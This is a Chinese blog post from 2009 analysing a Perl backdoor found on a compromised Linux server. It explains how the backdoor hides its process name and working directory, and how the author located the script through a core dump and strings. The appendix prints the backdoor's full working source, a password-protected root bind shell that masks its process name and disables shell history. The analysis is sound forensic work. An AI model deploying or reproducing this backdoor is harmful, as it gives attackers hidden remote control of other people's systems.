对linux下perl backdoor的一段分析

2009-10-13 09:24 927 52

摘要: 背景一个朋友的服务器出现了一个莫名其妙的inetd 进程，开了 21000 端口，怀疑被入侵。登陆上去简单检查了一下，发现骇客不留神把后门的一个副本，遗留在临时目录下。经过检查是个用 perl 脚本写...

关键词： 00 root CLIENT sbin usr 13 SHELL my 09 perl

背景一个朋友的服务器出现了一个莫名其妙的inetd 进程，开了 21000 端口，怀疑被入侵。登陆上去简单检查了一下，发现骇客不留神把后门的一个副本，遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了，入侵事件也基本被定性。1. 目前主机上还运行着该后门，很有可能黑客已经通过编写启动脚本，将后门加入了随机启动。2. 该主机存储了大量文件，同时容量很大，普通的find 和grep 命令很难在短时间内完成检索3. 为了保证性能，主机没有启动locate 服务4. 该主机是一台redhat 主机，但是redhat 只能检查启动脚本一部分文件的完整性。rpm -qV initscriptsrpm -qf /etc/init.d经过检查没有发现改动。5. 整个主机关键目录没有做完整性校验工作。一切似乎清晰明了，我们下一步就是找出进程中木马的位置，将其处理。但是在定位木马路径时却出现很大的困难。分析过程将代码下载到实验机上分析。启动后门程序debian:/# perl /tmp/coolc.pldebian:/# ps -efUID PID PPID C STIME TTY TIME CMDroot 1 0 0 13:09 ? 00:00:02 init [2]root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]root 3 1 0 13:09 ? 00:00:17 [events/0]root 4 3 0 13:09 ? 00:00:00 [khelper]root 5 3 0 13:09 ? 00:00:00 [kacpid]root 38 3 0 13:09 ? 00:00:00 [kblockd/0]root 48 3 0 13:09 ? 00:00:00 [pdflush]root 49 3 0 13:09 ? 00:00:01 [pdflush]root 51 3 0 13:09 ? 00:00:00 [aio/0]root 50 1 0 13:09 ? 00:00:00 [kswapd0]root 193 1 0 13:09 ? 00:00:00 [kseriod]root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]root 221 1 0 13:09 ? 00:00:00 [khubd]root 299 1 0 13:09 ? 00:00:01 [kjournald]root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogdroot 2027 1 0 13:10 ? 00:00:00 /sbin/klogdDebian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30mroot 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetdroot 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_saferoot 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safemysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr--datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqroot 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqldroot 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshddaemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atdroot 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cronroot 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apacheroot 2230 1 0 13:11 tty1 00:00:16 -bashroot 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apacheroot 2338 1 0 13:18 tty2 00:00:05 -bashroot 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1root 2384 2381 0 13:29 pts/0 00:00:02 -bashroot 2401 2381 0 13:30 pts/1 00:00:00 -bashroot 2812 1 2 18:04 pts/0 00:00:00 inetdroot 2813 2384 0 18:04 pts/0 00:00:00 ps -ef通过top 检查#topPID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl显示成perl 进程通过lsof 检查debian:/# lsof |grep 2812apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apacheapache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apacheapache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apacheapache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apacheapache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apacheapache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apacheperl 2812 root cwd DIR 8,1 4096 2 /perl 2812 root rtd DIR 8,1 4096 2 /perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perlperl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.soperl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.soperl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.soperl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.soperl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.soperl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.soperl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archiveperl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.soperl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.soperl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.soperl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.soperl 2812 root 0u CHR 136,0 2 /dev/pts/0perl 2812 root 1u CHR 136,0 2 /dev/pts/0perl 2812 root 2u CHR 136,0 2 /dev/pts/0perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN)通过/proc 检查debian:/proc/2812# ls -altotal 0dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .dr-xr-xr-x 68 root root 0 2005-09-17 13:09 ..dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr-r-------- 1 root root 0 2005-09-17 18:06 auxv-r--r--r-- 1 root root 0 2005-09-17 18:04 cmdlinelrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> /-r-------- 1 root root 0 2005-09-17 18:06 environlrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perldr-x------ 2 root root 0 2005-09-17 18:04 fd-r--r--r-- 1 root root 0 2005-09-17 18:05 maps-rw------- 1 root root 0 2005-09-17 18:06 mem-r--r--r-- 1 root root 0 2005-09-17 18:06 mountslrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> /-r--r--r-- 1 root root 0 2005-09-17 18:04 stat-r--r--r-- 1 root root 0 2005-09-17 18:05 statm-r--r--r-- 1 root root 0 2005-09-17 18:04 statusdr-xr-xr-x 3 root root 0 2005-09-17 18:06 task-r--r--r-- 1 root root 0 2005-09-17 18:06 wchandebian:/proc/2812/fd# ls -altotal 4dr-x------ 2 root root 0 2005-09-17 18:04 .dr-xr-xr-x 3 root root 0 2005-09-17 18:04 ..lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116]此处注意，如果黑客用./coolc.pl 启动后门，在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本，因此此处只能显露出socket 了。难点常规检查top lsof proc 检查，得到的信息完全无法让我们定位此木马的位置，那么对方是通过什么手段来进行隐藏的呢？检查了一下代码，它的技巧主要是在于如下两个地方：1、“$0”被设置为一个虚假的名称：my $PROC = "inetd"; # name of the process......$0=$PROC."＼0";因此在进程中看到进程名是 inetd2、因为是 perl 脚本后门，他进行了chdir,因此在 proc 里面看到的是 perl 的信息。$PORT = $ARGV[0] if ($ARGV[0]);chdir('/');no strict 'refs';my $bindfd = *{'bind_sock'};......这段代码导致proc 里其路径变为了/，而非程序存在路径。如此看来，整个检查工作在这一步进一步陷入僵局。前期背景交代中已经阐明，由于服务器文件众多，不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中，通过调用关系启动。需要及早查出。本来通过常规方法，通过进程与文件的关联，使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的，但是目前proc 信息被重写，似乎一切都被擦除的没有了踪迹。Core_dump 的尝试采用coredump 思路是这样产生的，目前文件系统，proc 在我们基本确认没有希望获取信息的时候，大多数工具进行检查的意义也不大了。同时由于是PERL 脚本，很多信息只会表现为perl 进程的信息。但是也许在一个地方还有我们需要的信息，那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制，可以让我们通过DUMP 后门进程中的数据，来获取数据。那么下面在我的实验环境中来操作一下我们的思路，看看上述方法是否可行。检查core dump 环境设置debian:~# ulimit -acore file size (blocks, -c) unlimiteddata seg size (kbytes, -d) unlimitedfile size (blocks, -f) unlimitedmax locked memory (kbytes, -l) unlimitedmax memory size (kbytes, -m) unlimitedopen files (-n) 1024pipe size (512 bytes, -p) 8stack size (kbytes, -s) 8192cpu time (seconds, -t) unlimitedmax user processes (-u) unlimitedvirtual memory (kbytes, -v) unlimited启动perl 木马debian:/# mkdir /tmp/.coolcdebian:/# cp /root/1.pl /tmp/.coolc/coolc.pldebian:/# perl /tmp/.coolc/coolc.pl经过检查，后门正常启动。debian:/# ps -efUID PID PPID C STIME TTY TIME CMDroot 1 0 0 13:09 ? 00:00:00 init [2]root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]root 3 1 0 13:09 ? 00:00:13 [events/0]root 4 3 0 13:09 ? 00:00:00 [khelper]root 5 3 0 13:09 ? 00:00:00 [kacpid]root 38 3 0 13:09 ? 00:00:00 [kblockd/0]root 48 3 0 13:09 ? 00:00:00 [pdflush]root 49 3 0 13:09 ? 00:00:00 [pdflush]root 51 3 0 13:09 ? 00:00:00 [aio/0]root 50 1 0 13:09 ? 00:00:00 [kswapd0]root 193 1 0 13:09 ? 00:00:00 [kseriod]root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]root 221 1 0 13:09 ? 00:00:00 [khubd]root 299 1 0 13:09 ? 00:00:00 [kjournald]root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogdroot 2027 1 0 13:10 ? 00:00:00 /sbin/klogdDebian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30mroot 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetdroot 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_saferoot 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safemysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqroot 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqldroot 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshddaemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atdroot 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cronroot 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apacheroot 2230 1 0 13:11 tty1 00:00:16 -bashroot 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apachewww-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apacheroot 2338 1 0 13:18 tty2 00:00:05 -bashroot 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1root 2384 2381 0 13:29 pts/0 00:00:00 -bashroot 2401 2381 0 13:30 pts/1 00:00:00 -bashroot 2545 1 1 13:59 pts/0 00:00:00 inetdroot 2546 2384 0 13:59 pts/0 00:00:00 ps -ef发送信号SIGSEGV 来DUMP 出我们需要的信息。debian:/# ps –efdebian:/# kill -SIGSEGV 2545通过string 来获取字符串。debian:/#stings core.2545......INADDR_LOOPBACKSelectSaver.pmcroakcarpExporterBEGINmain/tmp/.coolc/coolc.plimport/tmp/.coolc/coolc.plMain......找到了：）总结经过多次检查，发现在string 出来的字符串中，在出现perl 路径等信息后，木马加密的字符串之前的内容就是后门路径，通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。....../etc/perl/usr/lib/perl/5.8/usr/local/lib/perl/5.8.4/usr/local/share/perl/5.8.4/usr/lib/perl5/usr/share/perl5/usr/share/perl/5.8/usr/local/lib/site_perlnux-/tmp/coolc.pl/tmp/coolc.plouhEUhhJ6RbwEPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin......本次检查开阔了我的眼界，在解释器中的后门定位问题远比我想象的要难，因为大量的细节被封装在了解释器内部。在安全检查时，一个精巧的技巧将会使检查人员陷入尴尬的境地，因此我们需要不断的加强深度广度的拓展，一个安全人员的知识覆盖面和对系统的熟悉程度，往往最终决定了你安全检查的成败。这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。附录木马源码#!/usr/bin/perl# Telnet-like Standard Daemon 0.7## 0ldW0lf - [email protected]# - [email protected]# - www.atrix.cjb.net# - www.atrixteam.net## For those guys that still like to open ports# and use non-rooted boxes## This has been developed to join in the TocToc# project code, now it's done and I'm distributing# this separated## This one i made without IO::Pty so it uses# only standard modules... enjoy it## tested on linux boxes.. probably will work fine on others# any problem... #[email protected]############################################################ ******************* CONFIGURATION ******************** ###########################################################my $PORT = $ARGV[0] || 3847; # default port is 3847my $PASS = 'ouhEUhhJ6RbwE'; # encripted passwordmy $SHELL = "/bin/bash"; # shell to be executedmy $HOME = "/tmp"; # your HOMEmy $PROC = "inetd"; # name of the processmy $PASS_PROMPT = "Password: "; # password promptmy $WRONG_PASS = "Password Errata!"; # "wrong password" messagemy @STTY = ('sane', 'dec'); # stty arguments########################################################### feel free to change the ENV#### ENVironment ####$ENV{HOME} = $HOME;#$ENV{PS1} = '[\u@\h \W]: '; # the way i like :)# colorful PS1 is also funny :)$ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';$ENV{MAIL} = '/var/mail/root';$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';$ENV{HISTFILE} = '/dev/null';$ENV{USER} = 'root';$ENV{LOGNAME} = 'root';$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';$ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';$ENV{SHELL} = $SHELL;$ENV{TERM} = 'xterm';#####################$0=$PROC."\0";use IO::Socket;use IO::Select;use POSIX;use strict;# i wouldn't change that# if i were you###### SIGnals ######$SIG{HUP} = 'IGNORE';$SIG{PS} = 'IGNORE';$SIG{TERM} = 'IGNORE';$SIG{CHLD} = sub { wait; };###################### ioctl stuffmy %IOCTLDEF;$IOCTLDEF{TIOCSWINSZ} = 0x5414;$IOCTLDEF{TIOCNOTTY} = 0x5422;$IOCTLDEF{TIOCSCTTY} = 0x540E;safeload('sys/ttycom.ph', 1); # BSDsafeload('sys/ioctl.ph', 1);safeload('asm/ioctls.ph', 1);foreach my $IOCTL (keys(%IOCTLDEF)) {next if (defined(&{$IOCTL}));if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linuxwhile() {if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {eval "sub $IOCTL () {$1;}";last;}}close(IOD);}# i realy dunno if i can do that.. but.. here it goeseval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));}# starting...$PORT = $ARGV[0] if ($ARGV[0]);chdir('/');no strict 'refs';my $bindfd = *{'bind_sock'};*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";my $bind = \*{$bindfd};my $pid = fork();die "ERROR: I could not fork() the process." unless defined($pid);exit if $pid;my %CLIENT;my $sel_serv = IO::Select->new($bind);my $sel_shell = IO::Select->new();# main loop...while ( 1 ) {select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);read_clients();read_shells();}sub read_clients {map { read_client($_) } ($sel_serv->can_read(0.01));}sub read_client {my $fh = shift;if ($fh eq $bind) {my $newcon = $bind->accept;$sel_serv->add($newcon);$CLIENT{$newcon}->{senha} = 0;$CLIENT{$newcon}->{sock} = $newcon;$fh->autoflush(1);do_client($newcon, '3', '5', '1');sleep(1);write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);} else {my $msg;my $nread = sysread($fh, $msg, 1024);if ($nread == 0) {close_client($fh);} else {telnet_parse($fh, $msg);}}}sub read_shells {map { read_shell($_) } ($sel_shell->can_read(0.01));}sub telnet_parse {my ($cli, $msg) = @_;my $char = (split('', $msg))[0];if (ord($char) == 255) {chr_parse($cli, $msg);} else {if ($CLIENT{$cli}->{senha} == 0) {$CLIENT{$cli}->{buf} .= $msg;return() unless ($msg =~ /\r|\n/);my $pass = $CLIENT{$cli}->{buf};$CLIENT{$cli}->{buf} = '';$pass =~ s/\n//g;$pass =~ s/\0//g;$pass =~ s/\r//g;if (crypt($pass, $PASS) ne $PASS) {finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");} else {$CLIENT{$cli}->{senha} = 1;write_client($cli, chr(255).chr(253).chr(31));write_client($cli, "\r\n\r\r\n\r");new_shell($cli);}return();}$msg =~ s/\r\n\0\0//g;$msg =~ s/\0//g;$msg =~ s/\r\n/\n/g;write_shell($cli, $msg);}}sub read_shell {my $shell = shift;my $cli;map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);my $msg;my $nread = sysread($shell, $msg, 1024);if ($nread == 0) {finish_client($cli, "Terminal closed.\r\n\r");} else {write_client($cli, $msg);}}sub to_chr {my $chrs = '';map { $chrs .= chr($_) } (split(/ +/, shift));return($chrs);}sub do_client {my ($client, @codes) = @_;map { write_client($client, chr(255).chr(251).chr($_)) } @codes;}sub chr_parse { my ($client, $chrs) = @_;my $ords = '';map { $ords .= ord($_).' ' } (split(//, $chrs));my $msg = '';if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {my $winsize = pack('C4', $4, $3, $2, $1);ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";}foreach my $code (split("255 ", $ords)) {if ($code =~ /(\d+) (.*)$/) {my $codes = $2;if ($1 == 251) {# do whatever you want dude ehehe$msg .= chr(255).chr(253);map { $msg .= chr($_) } (split(/ +/, $codes));}}}write_client($client, $msg) if ($msg);return(1);}sub new_shell {my $cli = shift;POSIX::setpgid(0, 0);my ($tty, $pty);unless (($tty, $pty) = open_tty($cli)) {finish_client($cli, "ERROR: No more pty磗 avaliable\n");return(undef);}my $pid = fork();if (not defined($pid)) {finish_client($cli, "ERROR: fork()\n");return(undef);}unless($pid) {close($pty);local(*DEVTTY);if (open (DEVTTY, "/dev/tty")) {ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";close(DEVTTY);}POSIX::setsid();ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";close($tty);sleep(1);foreach my $stty ("/bin/stty", "/usr/bin/stty") {next unless (-x $stty);map { system("$stty", $_) } @STTY;}chdir("$HOME");{ exec("$SHELL") };syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");while (my $msg = ) {$msg =~ s/\n$//;$msg =~ s/\r$//;if ($msg =~ /^\s*cd\s+(\S+)/) {my $notf = "directory $1 not found!\n";chdir($1) || syswrite(STDOUT, $notf, length($notf));} else {system("$msg 2>&1");}syswrite(STDOUT, "I'm FuCKeD!# ");}exit;}close($tty);select($pty); $| = 1;select(STDOUT);set_raw($pty);$CLIENT{$cli}->{shell} = $pty;$sel_shell->add($pty);return(1);}# Funciton set_raw() stolen from IO::Ptysub set_raw($) {my $self = shift;return 1 if not POSIX::isatty($self);my $ttyno = fileno($self);my $termios = new POSIX::Termios;unless ($termios) {# warn "set_raw: new POSIX::Termios failed: $!";return undef;}unless ($termios->getattr($ttyno)) {# warn "set_raw: getattr($ttyno) failed: $!";return undef;}$termios->setiflag(0);$termios->setoflag(0);$termios->setlflag(0);$termios->setcc(&POSIX::VMIN, 1);$termios->setcc(&POSIX::VTIME, 0);unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {# warn "set_raw: setattr($ttyno) failed: $!";return undef;}return 1;}sub open_tty {no strict;my $cli = shift;my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/for (my $i = 0; $i < 256; $i++) {my $pty = get_tty($i, "/dev/pty");next unless (open($PTY, "+> $pty"));my $tty = get_tty($i, "/dev/tty");unless(open($TTY, "+> $tty")) {close($PTY);next;}return($TTY, $PTY);}return();}sub get_tty {my ($num, $base) = @_;my @series = ('p' .. 'z', 'a' .. 'e');my @subs = ('0' .. '9', 'a' .. 'f');my $buf = $base;$buf .= @series[($num >> 4) & 0xF];$buf .= @subs[$num & 0xF];return($buf);}sub safeload {my ($module, $require, $arg) = @_;my $file = $module;$file =~ s/::/\//g;if ($require) {# all found gonna be loadedmap { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;} else {$file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);}return();}sub write_shell {my ($cli, $msg) = @_;my $shell = $CLIENT{$cli}->{shell};return(undef) unless ($shell);foreach my $m (split_chars($msg, 20)) {read_shells();print $shell $m;read_shells();}return(1);}sub split_chars {my ($msg, $nchars) = @_;my @splited;my @chrs = split ('', $msg);my $done = 0;while ( 1 ) {my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);$done += $nchars;last if (length($splited) < 1);push(@splited, $splited);}return(@splited);}sub finish_client {my ($cli, $msg) = @_;write_client($cli, $msg);close_client($cli);}sub close_client {my $cli = shift;my $sock = $CLIENT{$cli}->{sock};$sel_serv->remove($sock);if ($CLIENT{$cli}->{shell}) {my $shell = $CLIENT{$cli}->{shell};$sel_shell->remove($shell);close($shell);}$sock->close() if($sock);delete($CLIENT{$cli});}sub write_client {my ($cli, $msg) = @_;my $sock = $CLIENT{$cli}->{sock};syswrite($sock, $msg, length($msg)) if ($sock);}

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